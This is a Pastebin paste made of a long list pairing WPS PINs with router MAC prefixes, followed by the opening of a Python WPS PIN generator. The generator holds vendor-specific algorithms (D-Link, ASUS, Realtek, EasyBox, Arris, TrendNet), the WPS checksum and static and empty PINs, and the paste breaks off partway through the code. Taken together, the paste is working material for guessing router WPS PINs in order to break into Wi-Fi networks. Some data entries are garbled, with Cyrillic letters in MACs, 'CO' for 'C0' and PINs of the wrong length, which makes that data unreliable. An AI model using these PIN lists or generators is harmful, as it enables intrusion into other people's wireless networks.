Advertisement
hmimzomatrix

WPS

Dec 25th, 2024 (edited)
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 114.76 KB | None | 0 0
  1. "64:66:6б"
  2. 80955969,"64:66:6С"
  3. 81195549,18:62:2C
  4. 81255786,34:8A:AE
  5. 81679580,40:F2:01
  6. 81874284,00:22:3F
  7. 81923052,CO:3F:0E
  8. 81923052,C0:3F:0E
  9. 82074403,00:0C:F1
  10. 82147776,D8:FB:5E
  11. 82147776,D4:7B:B0
  12. 82451776,34:8A:AE
  13. 82466811,40:4A:03
  14. 82617451,00:48:7A
  15. 82693745,F0:82:61
  16. 82721468,90:F6:52
  17. 83455975,34:8A:AE
  18. 83669336,00:19:15
  19. 83715837,00:05:CA
  20. 83720761,D0:D4:12
  21. 83720761,30:39:F2
  22. 83720761,74:88:8B
  23. 83720761,A4:52:6F
  24. 83720761,DC:0B:1A
  25. 84149051,90:F6:52
  26. 84238416,F0:82:61
  27. 84354639,94:44:52
  28. 84600024,00:AC:E0
  29. 84600024,08:3E:0C
  30. 84600024,E8:3E:FC
  31. 84625001,74:44:01
  32. 84652447,88:25:2C
  33. 84674186,74:D0:2B
  34. 84846264,B8:A3:86
  35. 84846264,BC:F6:85
  36. 84846264,C8:60:00
  37. 84846264,FC:75:16
  38. 84846264,1C:7E:E5
  39. 84846264,28:10:7B
  40. 84846264,84:C9:B2
  41. 84846264,CC:B2:55
  42. 84846264,14:D6:4D
  43. 84846264,C8:BE:19
  44. 84921462,90:F6:52
  45. 85286162,00:8E:F2
  46. 85444728,00:21:29
  47. 85444728,00:21:91
  48. 85794355,1C:BD:B9
  49. 85964411,00:24:17
  50. 85964411,00:26:CE
  51. 86530323,D4:BF:7F
  52. 86641807,28:28:5D
  53. 86893440,40:F2:01
  54. 87057777,00:1A:2B
  55. 87218808,00:1C:F0
  56. 87613863,D0:AE:EC
  57. 87650000,00:24:C9
  58. 87650000,00:26:42
  59. 87653801,34:8A:AE
  60. 87654321,38:72:C0
  61. 87938344,BC:EE:7B
  62. 87995802,D8:FB:5E
  63. 87995802,D4:7B:B0
  64. 88019776,D0:AE:EC
  65. 88218315,34:8A:AE
  66. 88257264,D0:AE:EC
  67. 88899900,7A:D1:5E
  68. 88921497,08:76:FF
  69. 88999000,7A:D1:5E
  70. 89201322,00:18:E7
  71. 89201322,00:1D:19
  72. 89201322,00:21:29
  73. 89201322,00:19:70
  74. 89290622,1C:7E:E5
  75. 90004463,BC:EE:7B
  76. 90025336,74:D0:2B
  77. 90524396,34:8A:AE
  78. 90803914,00:1C:F0
  79. 90832062,94:44:52
  80. 90849525,F4:EC:38
  81. 90849525,50:67:F0
  82. 90896141,00:1F:CE
  83. 90923155,98:FC:11
  84. 90992267,B8:A3:86
  85. 90992267,1C:7E:E5
  86. 90992267,14:D6:4D
  87. 90992267,28:10:7B
  88. 90992267,BC:F6:85
  89. 90992267,C8:BE:19
  90. 90992267,7C:03:4C
  91. 91215655,F8:D1:11
  92. 91453071,90:E6:BA
  93. 91560513,64:87:D7
  94. 91797195,90:F6:52
  95. 91913436,BC:76:70
  96. 92002043,74:D0:2B
  97. 92037032,54:A0:50
  98. 92141403,5C:33:8E
  99. 92148123,62:C7:14
  100. 92173646,00:18:E7
  101. 92173646,00:1D:19
  102. 92173646,00:21:29
  103. 92173646,00:19:70
  104. 92788200,14:A9:E3
  105. 92892767,54:04:A6
  106. 93484828,5C:33:8E
  107. 93504858,34:8A:AE
  108. 94237924,BC:EE:7B
  109. 94273874,00:18:E7
  110. 94453377,F4:EC:38
  111. 94831614,B8:9B:C9
  112. 95073778,34:8A:AE
  113. 95090511,00:26:CE
  114. 95127286,00:1F:CE
  115. 95517867,D0:AE:EC
  116. 95524429,A0:21:87
  117. 95707145,14:DA:E9
  118. 95750772,60:A4:4C
  119. 95862530,88:25:2C
  120. 95876911,30:39:F2
  121. 95876911,74:88:8B
  122. 95876911,A4:52:6F
  123. 95876911,DC:0B:1A
  124. 95918437,2C:AB:25
  125. 96288272,F0:82:61
  126. 96416659,00:0C:42
  127. 96416659,00:0E:E8
  128. 96416659,00:14:D1
  129. 96450983,F0:82:61
  130. 97079154,20:4E:7F
  131. 97418146,F0:82:61
  132. 97501305,34:8A:AE
  133. 97517810,AC:22:0B
  134. 97581406,1C:7E:E5
  135. 97861816,F0:82:61
  136. 97869216,90:F6:52
  137. 97888211,F4:EC:38
  138. 97888211,50:67:F0
  139. 98059449,54:67:51
  140. 98236183,10:7B:EF
  141. 98784851,98:97:D1
  142. 98848850,F4:EC:38
  143. 98848850,50:67:F0
  144. 98998452,F8:C0:91
  145. 99146724,E0:91:15
  146. 99146724,19:15:C1
  147. 99175913,2C:E4:12
  148. 99175913,7C:03:D8
  149. 99175913,D8:6C:E9
  150. 99175913,14:D6:4D
  151. 99175913,1C:7E:E5
  152. 99175913,28:10:7B
  153. 99175913,84:C9:B2
  154. 99175913,B8:A3:86
  155. 99175913,BC:F6:85
  156. 99175913,C8:BE:19
  157. 99175913,C8:D3:A3
  158. 99175913,CC:B2:55
  159. 99175913,FC:75:16
  160. 99175913,20:4E:7F
  161. 99175913,4C:17:EB
  162. 99175913,18:62:2C
  163. 99667890,74:D0:2B
  164. 99699314,34:8A:AE
  165. 46335461,E4:BE:ED
  166. 69778870,E0:60:66
  167. 21690299,E0:60:66
  168. 49159008,EC:08:6B
  169. 62930000,EC:43:F6
  170. 02276103,F8:C0:91
  171. 11446958,00:24:17
  172. 31011193,00:24:17
  173. 60418579,1C:7E:E5
  174. 22609298,1C:7E:E5
  175. 69382161,58:6D:8F
  176. 47158382,58:6D:8F
  177. 75332662,7C:4F:B5
  178. 72688656,7C:4F:B5
  179. 76916144,00:05:CA
  180. 73851738,00:05:CA
  181. 93395274,34:08:04
  182. 36022656,34:08:04
  183. 93645348,94:44:52
  184. 26023809,94:44:52
  185. 97744757,00:24:01
  186. 31011193,00:24:01
  187. 64637129,00:18:E7
  188. 22310298,00:18:E7
  189. 15537782,00:18:E7
  190. 66026402,00:1D:19
  191. 64637129,00:1D:19
  192. 22310298,00:1D:19
  193. 95221021,30:46:9A
  194. 30592407,30:46:9A
  195. 19482417,30:46:9A
  196. 82744458,00:21:29
  197. 64637129,00:21:29
  198. 22310298,00:21:29
  199. 27615126,74:44:01
  200. 10052648,74:44:01
  201. 00446747,74:44:01
  202. 88202907,D0:D4:12
  203. 73767053,D0:D4:12
  204. 43297917,D0:D4:12
  205. 19756967,D0:D4:12
  206. 18355604,D0:D4:12
  207. 16702738,D0:D4:12
  208. 16538061,D0:D4:12
  209. 13409708,D0:D4:12
  210. 76871559,D0:AE:EC
  211. 67791088,D0:AE:EC
  212. 58441640,D0:AE:EC
  213. 49570724,D0:AE:EC
  214. 46275288,D0:AE:EC
  215. 43419012,D0:AE:EC
  216. 36831678,D0:AE:EC
  217. 12263813,D0:AE:EC
  218. 06235307,D0:AE:EC
  219. 95048147,F4:EC:38
  220. 91726681,F4:EC:38
  221. 72344071,F4:EC:38
  222. 67971862,F4:EC:38
  223. 52594809,F4:EC:38
  224. 51660567,F4:EC:38
  225. 44947477,F4:EC:38
  226. 42768777,F4:EC:38
  227. 26599625,F4:EC:38
  228. 23380622,F4:EC:38
  229. 19634173,F4:EC:38
  230. 18674095,F4:EC:38
  231. 11288879,F4:EC:38
  232. 09165847,F4:EC:38
  233. 05884889,F4:EC:38
  234. 04898702,F4:EC:38
  235. 03419724,F4:EC:38
  236. 91345080,5C:33:8E
  237. 85776104,5C:33:8E
  238. 82848439,5C:33:8E
  239. 78963641,5C:33:8E
  240. 78614062,5C:33:8E
  241. 73968597,5C:33:8E
  242. 60387400,5C:33:8E
  243. 53842763,5C:33:8E
  244. 39657053,5C:33:8E
  245. 33685984,5C:33:8E
  246. 30999022,5C:33:8E
  247. 30414129,5C:33:8E
  248. 15986511,5C:33:8E
  249. 11765592,5C:33:8E
  250. 04581277,5C:33:8E
  251. 03015162,5C:33:8E
  252. 00764025,5C:33:8E
  253. 21464065,C8:D3:A3
  254. 20172527,B8:A3:86
  255. 43944552,7C:D3:4C
  256. 47392717,00:0C:C3
  257. 20172527,38:72:C0
  258. 18836486,38:72:C0
  259. 71537573,D8:61:94
  260. 16035232,F8:8E:85
  261. 19117652,F8:8E:85
  262. 20172527,F8:8E:85
  263. 71537573,EC:C1:46
  264. 71537573,E4:C1:46
  265. 95755212,DC:53:7C
  266. 64874487,DC:53:7C
  267. 58945537,DC:53:7C
  268. 79082020,DC:53:7C
  269. 79082020,5C:35:3B
  270. 58945537,5C:35:3B
  271. 64874487,5C:35:3B
  272. 95755212,5C:35:3B
  273. 31348034,E4:C1:46
  274. 10009321,E4:C1:46
  275. 11866428,40:4A:03
  276. 77775078,00:1A:2B
  277. 51340865,00:1A:2B
  278. 16495265,00:1A:2B
  279. 21143892,00:1A:2B
  280. 88478760,00:1A:2B
  281. 20329761,FC:F5:28
  282. 11967859,30:39:F2
  283. 13409708,30:39:F2
  284. 16538061,30:39:F2
  285. 16702738,30:39:F2
  286. 18355604,30:39:F2
  287. 19756967,30:39:F2
  288. 43297917,30:39:F2
  289. 47148826,30:39:F2
  290. 73767053,30:39:F2
  291. 88202907,30:39:F2
  292. 88202907,74:88:8B
  293. 73767053,74:88:8B
  294. 47148826,74:88:8B
  295. 43297917,74:88:8B
  296. 19756967,74:88:8B
  297. 18355604,74:88:8B
  298. 16702738,74:88:8B
  299. 16538061,74:88:8B
  300. 13409708,74:88:8B
  301. 11967859,74:88:8B
  302. 11967859,A4:52:6F
  303. 13409708,A4:52:6F
  304. 16538061,A4:52:6F
  305. 16702738,A4:52:6F
  306. 18355604,A4:52:6F
  307. 19756967,A4:52:6F
  308. 43297917,A4:52:6F
  309. 47148826,A4:52:6F
  310. 73767053,A4:52:6F
  311. 88202907,A4:52:6F
  312. 88202907,DC:0B:1A
  313. 73767053,DC:0B:1A
  314. 47148826,DC:0B:1A
  315. 43297917,DC:0B:1A
  316. 19756967,DC:0B:1A
  317. 18355604,DC:0B:1A
  318. 16702738,DC:0B:1A
  319. 16538061,DC:0B:1A
  320. 13409708,DC:0B:1A
  321. 11967859,DC:0B:1A
  322. zhao,F4:C7:14
  323. zhao,20:2B:C1
  324. zhao,30:87:30
  325. zhao,5C:4C:A9
  326. zhao,62:A8:E4
  327. zhao,62:B6:86
  328. zhao,62:C0:6F
  329. zhao,62:C6:1F
  330. zhao,62:C7:14
  331. zhao,62:E8:7B
  332. zhao,62:23:3D
  333. zhao,62:3C:E4
  334. zhao,62:3D:FF
  335. zhao,62:53:D4
  336. zhao,62:55:9C
  337. zhao,62:6B:D3
  338. zhao,62:7D:5E
  339. zhao,62:1D:67
  340. zhao,62:96:BF
  341. zhao,62:CD:BE
  342. zhao,62:CB:A8
  343. zhao,64:16:F0
  344. zhao,6A:08:8B
  345. zhao,6A:1D:67
  346. zhao,6A:23:3D
  347. zhao,6A:3D:FF
  348. zhao,6A:53:D4
  349. zhao,6A:55:9C
  350. zhao,6A:6B:D3
  351. zhao,6A:7D:5E
  352. zhao,6A:A8:E4
  353. zhao,6A:C0:6F
  354. zhao,6A:C6:1F
  355. zhao,6A:C7:14
  356. zhao,6A:CD:BE
  357. zhao,6A:D1:5E
  358. zhao,6A:D1:67
  359. zhao,6A:96:BF
  360. zhao,6A:CB:A8
  361. zhao,72:A8:E4
  362. zhao,72:C0:6F
  363. zhao,72:C7:14
  364. zhao,72:D1:5E
  365. zhao,72:E8:7B
  366. zhao,72:1D:67
  367. zhao,72:3C:E4
  368. zhao,72:3D:FF
  369. zhao,72:53:D4
  370. zhao,72:55:9C
  371. zhao,72:6B:D3
  372. zhao,72:7D:5E
  373. zhao,72:CB:A8
  374. zhao,72:CD:BE
  375. zhao,72:C6:1F
  376. zhao,72:96:BF
  377. zhao,9C:C1:72
  378. zhao,08:7A:4C
  379. zhao,0C:96:BF
  380. zhao,14:B9:68
  381. zhao,D0:7A:B5
  382. zhao,E8:CD:2D
  383. zhao,88:E3:AB
  384. zhao,20:08:ED
  385. zhao,08:63:61
  386. zhao,84:DB:AC
  387. zhao,00:22:75
  388. zhao,08:86:3B
  389. zhao,00:1C:DF
  390. zhao,00:A0:26
  391. zhao,50:57:F0
  392. zhao,00:A0:B6
  393. zhao,C8:D1:5E
  394. zhao,E4:7C:F9
  395. zhao,80:1F:02
  396. zhao,00:22:F7
  397. zhao,00:1D:1A
  398. zhao,C8:3A:35
  399. zhao,00:B0:0C
  400. zhao,08:10:75
  401. zhao,64:70:02
  402. zhao,B0:48:7A
  403. zhao,F8:D1:11
  404. zhao,A0:F3:C1
  405. zhao,F8:1A:67
  406. zhao,00:1F:1F
  407. zhao,00:26:CE
  408. zhao,00:26:5B
  409. zhao,68:B6:FC
  410. zhao,78:8D:F7
  411. zhao,BC:14:01
  412. zhao,68:B6:CF
  413. zhao,B4:75:0E
  414. zhao,00:1E:A6
  415. zhao,00:0C:F6
  416. zhao,B2:46:FC
  417. zhao,E2:41:36
  418. zhao,F8:1B:FA
  419. zhao,5C:A3:9D
  420. zhao,D8:6C:E9
  421. zhao,DC:71:44
  422. zhao,EC:23:3D
  423. zhao,CC:5D:4E
  424. zhao,00:15:77
  425. zhao,00:0A:52
  426. zhao,00:0C:B9
  427. zhao,04:C0:6F
  428. zhao,28:5F:DB
  429. zhao,34:6B:D3
  430. zhao,78:A6:89
  431. zhao,80:B6:86
  432. zhao,84:A8:E4
  433. zhao,B4:74:9F
  434. zhao,BC:76:70
  435. zhao,CC:96:A0
  436. zhao,F8:3D:FF
  437. trend,D8:EB:97
  438. trend,00:14:D1
  439. trend,3C:8C:F8
  440. dlink,C8:D3:A3
  441. arcady,84:9C:A6
  442. arcady,74:31:70
  443. arcady,88:03:55
  444. arcady,1C:C6:3C
  445. arcady,50:7E:5D
  446. arcady,00:12:BF
  447. zhao,90:8D:78
  448. dlink,90:8D:78
  449. 53890894,58:98:35
  450. 32184129,62:C7:14
  451. 96955908,"64:66:6б"
  452. 41719565,68:C0:6F
  453. 04161608,6A:1D:67
  454. 55748162,7A:D1:5E
  455. 000999888,7A:D1:5E
  456. 00948135,7C:4F:B5
  457. 44960452,80:1F:02
  458. 78100053,84:1B:5E
  459. 62327145,84:C9:B2
  460. 35065647,84:C9:B2
  461. 50455652,84:C9:B2
  462. 56892963,84:C9:B2
  463. 12808014,84:C9:B2
  464. 03526859,88:25:2C
  465. 74425648,88:25:2C
  466. 71259987,8C:CA:32
  467. 17035419,90:E6:BA
  468. 15094148,90:F6:52
  469. 16558205,90:F6:52
  470. 59179719,90:F6:52
  471. 61296879,90:F6:52
  472. 26412948,90:F6:52
  473. 86412728,90:F6:52
  474. 54027794,94:44:52
  475. 43944552,94:FE:F4
  476. 55132909,98:FC:11
  477. 93532655,98:FC:11
  478. 92442559,A0:21:87
  479. 01318104,A0:21:B7
  480. 20172527,AC:22:0B
  481. 77502896,AC:E8:7B
  482. 54335677,B0:48:7A
  483. 23659391,B4:74:9F
  484. 46264848,B8:A3:86
  485. 43433414,B8:A3:86
  486. 19217581,B8:A3:86
  487. 76229909,B8:A3:86
  488. 41613849,B8:9B:C9
  489. 63431919,BC:76:70
  490. 03917961,BC:F6:85
  491. 46264848,BC:F6:85
  492. 23469754,BC:F6:85
  493. 78985933,C0:C1:C0
  494. 04840954,C0:C1:C0
  495. 51419981,C4:3D:C7
  496. 20205287,C4:3D:C7
  497. 26252384,C4:3D:C7
  498. 26214702,C4:3D:C7
  499. 26013084,C4:3D:C7
  500. 01756401,C8:3A:35
  501. 11195207,C8:3A:35
  502. 46264848,C8:60:00
  503. 59900887,C8:D5:FE
  504. 53084682,CC:5D:4E
  505. 51565220,CC:5D:4E
  506. 28889601,CC:5D:4E
  507. 52469466,CC:5D:4E
  508. 12345670,CC:96:77
  509. 78985933,CC:96:77
  510. 25032918,CO:3F:0E
  511. 99956042,D4:BF:7F
  512. 21158766,DC:0B:1A
  513. 63865141,D8:5D:4C
  514. 42764199,E0:91:15
  515. 49945386,E0:91:F5
  516. 62987523,E0:CB:4E
  517. 1244046,E0:CB:4E
  518. 35737841,EC:43:F6
  519. "003900ее",E0:CB:4E
  520. "427152ее",E0:CB:4E
  521. 05556724,E0:CB:4E
  522. 35769576,F0:7D:68
  523. 40188492,F0:7D:68
  524. 26016573,F0:7D:68
  525. 03617984,F0:7D:68
  526. 47158382,F4:3E:61
  527. 69382161,F4:3E:61
  528. 12345670,F4:C7:14
  529. 51419981,F4:C7:14
  530. 28296720,F4:EC:38
  531. 77335449,F4:EC:38
  532. 34194614,F8:1A:67
  533. 53983466,F8:1A:67
  534. 25905892,F8:3D:FF
  535. 99956042,F8:C0:91
  536. 55651219,F8:D1:11
  537. 19024387,F8:D1:11
  538. 68102661,F8:D1:11
  539. 25888805,F8:D1:11
  540. 46264848,FC:75:16
  541. 38855566,FC:75:16
  542. 63396638,00:19:15
  543. 64103747,00:21:29
  544. 95891705,00:21:29
  545. 78202962,00:26:44
  546. 49780871,00:26:44
  547. 18836486,00:38:72
  548. 15471628,00:48:7A
  549. 30447028,00:0C:F1
  550. 15624697,00:1A:2B
  551. 66026402,00:1D:7E
  552. 88420707,00:1D:73
  553. 21207136,00:4F:62
  554. 20064525,50:67:F0
  555. 26599625,50:67:F0
  556. 18674095,50:67:F0
  557. 91726681,50:67:F0
  558. 44947477,50:67:F0
  559. 05884889,50:67:F0
  560. 8253600,50:67:F0
  561. 52594809,50:67:F0
  562. 51660567,50:67:F0
  563. 95048147,50:67:F0
  564. 19634173,50:67:F0
  565. 72344071,50:67:F0
  566. 03419724,50:67:F0
  567. 11288879,50:67:F0
  568. 67971862,50:67:F0
  569. 23380622,50:67:F0
  570. 42768777,50:67:F0
  571. 04898702,50:67:F0
  572. 09165847,50:67:F0
  573. 69382161,50:67:F0
  574. 21250491,08:86:3B
  575. 79205177,40:4A:03
  576. 45197079,20:4E:7F
  577. 85560130,00:1D:CE
  578. 12345678,38:72:C0
  579. 95374611,00:26:24
  580. 76971464,00:26:5A
  581. 17068161,1A:0B:40
  582. 16546615,00:18:02
  583. 20956455,08:10:74
  584. 48247818,00:22:3F
  585. 85521162,00:1F:1F
  586. 85521261,00:1F:1F
  587. 85544482,00:1F:1F
  588. 50540686,72:3D:FF
  589. 22643223,10:C6:1F
  590. 20700737,14:D6:4D
  591. 64535203,14:D6:4D
  592. 02917092,54:6E:FC
  593. 59900887,00:22:6B
  594. 13648947,00:4F:67
  595. 79412988,08:76:FF
  596. 31008167,14:D6:D4
  597. 37272937,00:1D:D1
  598. 28390046,00:26:5B
  599. 55349758,1C:BD:B9
  600. 70313376,1C:BD:B9
  601. 78091597,00:25:9C
  602. 42473534,4C:60:DE
  603. 22958143,4C:60:DE
  604. 53550866,4C:60:DE
  605. 49143836,00:1D:D2
  606. 58542132,00:1D:D2
  607. 14550126,00:1D:D2
  608. 51348014,00:23:69
  609. 44960452,00:24:A5
  610. 54080812,00:23:CD
  611. 21101021,50:46:5D
  612. 46540010,50:46:5D
  613. 31028325,54:04:A6
  614. 04561842,90:F6:52
  615. 00000001,E4:C1:46
  616. 47415270,E4:C1:46
  617. 00000001,68:F9:56
  618. 28113065,00:18:E7
  619. 47837249,00:18:E7
  620. 78091597,00:19:18
  621. 64637129,00:19:70
  622. 22310298,00:19:70
  623. 17084215,00:1A:A9
  624. 15624697,00:1A:A9
  625. 18836486,00:1A:A9
  626. 00622905,00:1E:58
  627. 14169809,00:1F:CE
  628. 68272159,00:1F:CE
  629. 82744458,00:21:91
  630. 84957986,00:22:B0
  631. 62969833,00:22:B0
  632. 10987957,00:24:01
  633. 34693841,00:24:8C
  634. 00005678,00:24:C9
  635. 12345670,00:26:18
  636. 00005678,00:26:42
  637. 17245685,00:26:5A
  638. 96119433,00:26:5A
  639. 57147680,00:26:5A
  640. 17539012,00:26:5A
  641. 11446958,00:26:CE
  642. 10770511,00:26:CE
  643. 32754544,00:26:CE
  644. 28161141,00:26:CE
  645. 09735651,00:26:CE
  646. 11508335,00:26:CE
  647. 11450764,00:26:CE
  648. 11515562,00:26:CE
  649. 11432401,00:26:CE
  650. 11455776,00:26:CE
  651. 11516705,00:26:CE
  652. 11509059,00:26:CE
  653. 11483465,00:26:CE
  654. 11480044,00:26:CE
  655. 16260870,00:26:CE
  656. 11472964,00:26:CE
  657. 19315195,00:26:CE
  658. 74623853,00:26:CE
  659. 85419124,00:26:CE
  660. 29667451,00:26:CE
  661. 30329591,00:26:CE
  662. 05051267,00:26:CE
  663. 94033182,00:26:CE
  664. 61101012,00:26:CE
  665. 15483607,00:26:E8
  666. 20172527,02:10:18
  667. 82426965,08:60:6E
  668. 67212101,08:60:6E
  669. 16797963,08:60:6E
  670. 04398554,08:60:6E
  671. 63112047,10:BF:48
  672. 58755808,10:BF:48
  673. 86689830,10:BF:48
  674. 08208422,10:BF:48
  675. 56681864,10:BF:48
  676. 20172527,14:14:4B
  677. 00265744,14:A9:E3
  678. 00288729,14:A9:E3
  679. 82912994,14:DA:E9
  680. 54170759,14:DA:E9
  681. 62327145,18:62:2C
  682. 94559118,18:62:2C
  683. 50896035,18:62:2C
  684. 25576672,18:62:2C
  685. 49912821,18:62:2C
  686. 53451514,18:62:2C
  687. 42764199,19:15:C1
  688. 10240762,1C:7E:E5
  689. 62327145,1C:7E:E5
  690. 46264848,1C:7E:E5
  691. 76229909,1C:7E:E5
  692. 47650237,1C:7E:E5
  693. 71544816,1C:BD:B9
  694. 88285931,1C:BD:B9
  695. 48347723,1C:BD:B9
  696. 18641486,1C:BD:B9
  697. 17230407,1C:BD:B9
  698. 25833591,1C:BD:B9
  699. 69457661,1C:BD:B9
  700. 21072246,20:4E:7F
  701. 21822704,20:4E:7F
  702. 21164965,20:4E:7F
  703. 19951683,20:4E:7F
  704. 62327145,20:4E:7F
  705. 46264848,28:10:7B
  706. 69475764,28:10:7B
  707. 20172527,28:10:7B
  708. 08206282,28:28:5D
  709. 70814668,28:28:5D
  710. 33332192,2C:39:96
  711. 73481959,2C:AB:25
  712. 22639660,2C:B0:5D
  713. 10864111,2C:E4:12
  714. 15624697,2C:E4:12
  715. 20172527,2C:E4:12
  716. 18576313,2C:E4:12
  717. 31957199,2C:E4:12
  718. 62327145,2C:E4:12
  719. 60126115,30:85:A9
  720. 44337483,34:08:04
  721. 89819661,34:08:04
  722. 35994305,34:8A:AE
  723. 51381288,34:8A:AE
  724. 63232493,34:8A:AE
  725. 57955438,34:8A:AE
  726. 20046965,34:8A:AE
  727. 68755218,34:8A:AE
  728. 79405096,34:8A:AE
  729. 26932934,34:8A:AE
  730. 18127515,34:8A:AE
  731. 50310579,34:8A:AE
  732. 46955777,34:8A:AE
  733. 26344386,34:8A:AE
  734. 46346711,34:8A:AE
  735. 51500276,34:8A:AE
  736. 46439093,34:8A:AE
  737. 08130174,34:8A:AE
  738. 60214041,34:8A:AE
  739. 81553303,34:8A:AE
  740. 18698251,34:8A:AE
  741. 67715428,34:8A:AE
  742. 00608626,34:8A:AE
  743. 10835678,34:8A:AE
  744. 69342509,34:8A:AE
  745. 09883994,34:8A:AE
  746. 60014016,34:8A:AE
  747. 83569524,34:8A:AE
  748. 93032414,34:8A:AE
  749. 41399699,34:8A:AE
  750. 32208214,34:8A:AE
  751. 63926996,34:8A:AE
  752. 77764416,34:8A:AE
  753. 45662461,34:8A:AE
  754. 67327263,34:8A:AE
  755. 15901057,34:8A:AE
  756. 90949708,34:8A:AE
  757. 13180324,34:8A:AE
  758. 19639741,34:8A:AE
  759. 57907482,34:8A:AE
  760. 87737059,34:8A:AE
  761. 41985342,34:8A:AE
  762. 86072953,34:8A:AE
  763. 85840539,34:8A:AE
  764. 64398723,34:8A:AE
  765. 78985933,38:60:77
  766. 02443003,40:16:7E
  767. 78159952,40:4A:03
  768. 94544121,40:4A:03
  769. 32725674,40:4A:03
  770. 39582355,40:4A:03
  771. 08597618,40:F2:01
  772. 36426034,40:F2:01
  773. 30344471,40:F2:01
  774. 04439868,40:F2:01
  775. 36869473,40:F2:01
  776. 72451021,40:F2:01
  777. 37960216,48:5B:39
  778. 78091597,4C:17:EB
  779. 32600087,50:67:A0
  780. 51504472,50:46:5D
  781. 52418501,54:A0:50
  782. 22435842,54:A0:50
  783. 03243008,54:A0:50
  784. 12430246,54:A0:50
  785. 23073029,54:A0:50
  786. 39028983,54:04:A6
  787. 73399612,54:04:A6
  788. 76729829,54:04:A6
  789. 10556405,58:6D:8F
  790. 00145022,60:A4:4C
  791. 91502100,60:A4:4C
  792. 23085008,60:A4:4C
  793. 00060301,60:A4:4C
  794. 27705759,60:A4:4C
  795. 43021024,60:A4:4C
  796. 81331055,5C:D9:98
  797. 96955908,"64:66:6С"#!/usr/bin/env python3
  798. # -*- coding: utf-8 -*-
  799. import sys
  800. import subprocess
  801. import os
  802. import tempfile
  803. import shutil
  804. import re
  805. import codecs
  806. import socket
  807. import pathlib
  808. import time
  809. from datetime import datetime
  810. import collections
  811. import statistics
  812. from pathlib import Path
  813. from typing import Dict
  814. import csv
  815.  
  816.  
  817. class NetworkAddress:
  818.     def __init__(self, mac):
  819.         if isinstance(mac, int):
  820.             self._int_repr = mac
  821.             self._str_repr = self._int2mac(mac)
  822.         elif isinstance(mac, str):
  823.             self._str_repr = mac.replace('-', ':').replace('.', ':').upper()
  824.             self._int_repr = self._mac2int(mac)
  825.         else:
  826.             raise ValueError('MAC address must be string or integer')
  827.  
  828.     @property
  829.     def string(self):
  830.         return self._str_repr
  831.  
  832.     @string.setter
  833.     def string(self, value):
  834.         self._str_repr = value
  835.         self._int_repr = self._mac2int(value)
  836.  
  837.     @property
  838.     def integer(self):
  839.         return self._int_repr
  840.  
  841.     @integer.setter
  842.     def integer(self, value):
  843.         self._int_repr = value
  844.         self._str_repr = self._int2mac(value)
  845.  
  846.     def __int__(self):
  847.         return self.integer
  848.  
  849.     def __str__(self):
  850.         return self.string
  851.  
  852.     def __iadd__(self, other):
  853.         self.integer += other
  854.  
  855.     def __isub__(self, other):
  856.         self.integer -= other
  857.  
  858.     def __eq__(self, other):
  859.         return self.integer == other.integer
  860.  
  861.     def __ne__(self, other):
  862.         return self.integer != other.integer
  863.  
  864.     def __lt__(self, other):
  865.         return self.integer < other.integer
  866.  
  867.     def __gt__(self, other):
  868.         return self.integer > other.integer
  869.  
  870.     @staticmethod
  871.     def _mac2int(mac):
  872.         return int(mac.replace(':', ''), 16)
  873.  
  874.     @staticmethod
  875.     def _int2mac(mac):
  876.         mac = hex(mac).split('x')[-1].upper()
  877.         mac = mac.zfill(12)
  878.         mac = ':'.join(mac[i:i+2] for i in range(0, 12, 2))
  879.         return mac
  880.  
  881.     def __repr__(self):
  882.         return 'NetworkAddress(string={}, integer={})'.format(
  883.             self._str_repr, self._int_repr)
  884.  
  885.  
  886. class WPSpin:
  887.     """WPS pin generator"""
  888.     def __init__(self):
  889.         self.ALGO_MAC = 0
  890.         self.ALGO_EMPTY = 1
  891.         self.ALGO_STATIC_DB = 2
  892.  
  893.         self.algos = {'pin24': {'name': '24-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin24},
  894.                       'pin28': {'name': '28-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin28},
  895.                       'pin32': {'name': '32-bit PIN', 'mode': self.ALGO_MAC, 'gen': self.pin32},
  896.                       'pinDLink': {'name': 'D-Link PIN', 'mode': self.ALGO_MAC, 'gen': self.pinDLink},
  897.                       'pinDLink1': {'name': 'D-Link PIN +1', 'mode': self.ALGO_MAC, 'gen': self.pinDLink1},
  898.                       'pinASUS': {'name': 'ASUS PIN', 'mode': self.ALGO_MAC, 'gen': self.pinASUS},
  899.                       'pinAirocon': {'name': 'Airocon Realtek', 'mode': self.ALGO_MAC, 'gen': self.pinAirocon},
  900.                       'pinEasybox': {'name': 'EasyBox', 'mode': self.ALGO_MAC, 'gen': self.pinEasybox},
  901.                       'pinArris': {'name': 'Arris', 'mode': self.ALGO_MAC, 'gen': self.pinArris},
  902.                       'pinTrendNet': {'name': 'TrendNet', 'mode': self.ALGO_MAC, 'gen': self.pinTrendNet},
  903.                       # Static pin algos
  904.                       'pinGeneric': {'name': 'Static', 'mode': self.ALGO_STATIC_DB, 'gen': lambda mac: 1234567, 'static': []},
  905.                       'pinEmpty': {'name': 'Empty PIN', 'mode': self.ALGO_EMPTY, 'gen': lambda mac: ''}}
  906.  
  907.     @staticmethod
  908.     def checksum(pin):
  909.         """
  910.        Standard WPS checksum algorithm.
  911.        @pin — A 7 digit pin to calculate the checksum for.
  912.        Returns the checksum value.
  913.        """
  914.         accum = 0
  915.         while pin:
  916.             accum += (3 * (pin % 10))
  917.             pin = int(pin / 10)
  918.             accum += (pin % 10)
  919.             pin = int(pin / 10)
  920.         return (10 - accum % 10) % 10
  921.  
  922.     def generate(self, algo, mac):
  923.         """
  924.        WPS pin generator
  925.        @algo — the WPS pin algorithm ID
  926.        Returns the WPS pin string value
  927.        """
  928.         mac = NetworkAddress(mac)
  929.         if algo not in self.algos:
  930.             raise ValueError('Invalid WPS pin algorithm')
  931.         pin = self.algos[algo]['gen'](mac)
  932.         new_algos = {'pinEmpty', 'pinEasybox', 'pinArris', 'pinTrendNet'}
  933.         if algo in new_algos:
  934.             return pin
  935.         pin = pin % 10000000
  936.         pin = str(pin) + str(self.checksum(pin))
  937.         return pin.zfill(8)
  938.  
  939.     def getSuggested(self, mac):
  940.         """
  941.        Get all suggested WPS pin's for single MAC
  942.        """
  943.         algos = self._suggest(mac)
  944.         res = []
  945.         for ID in algos:
  946.             algo = self.algos[ID]
  947.             item = {}
  948.             item['id'] = ID
  949.             if algo['mode'] == self.ALGO_STATIC_DB:
  950.                 for pins_static in self.algos['pinGeneric']['static']:
  951.                     if pins_static.isdigit():
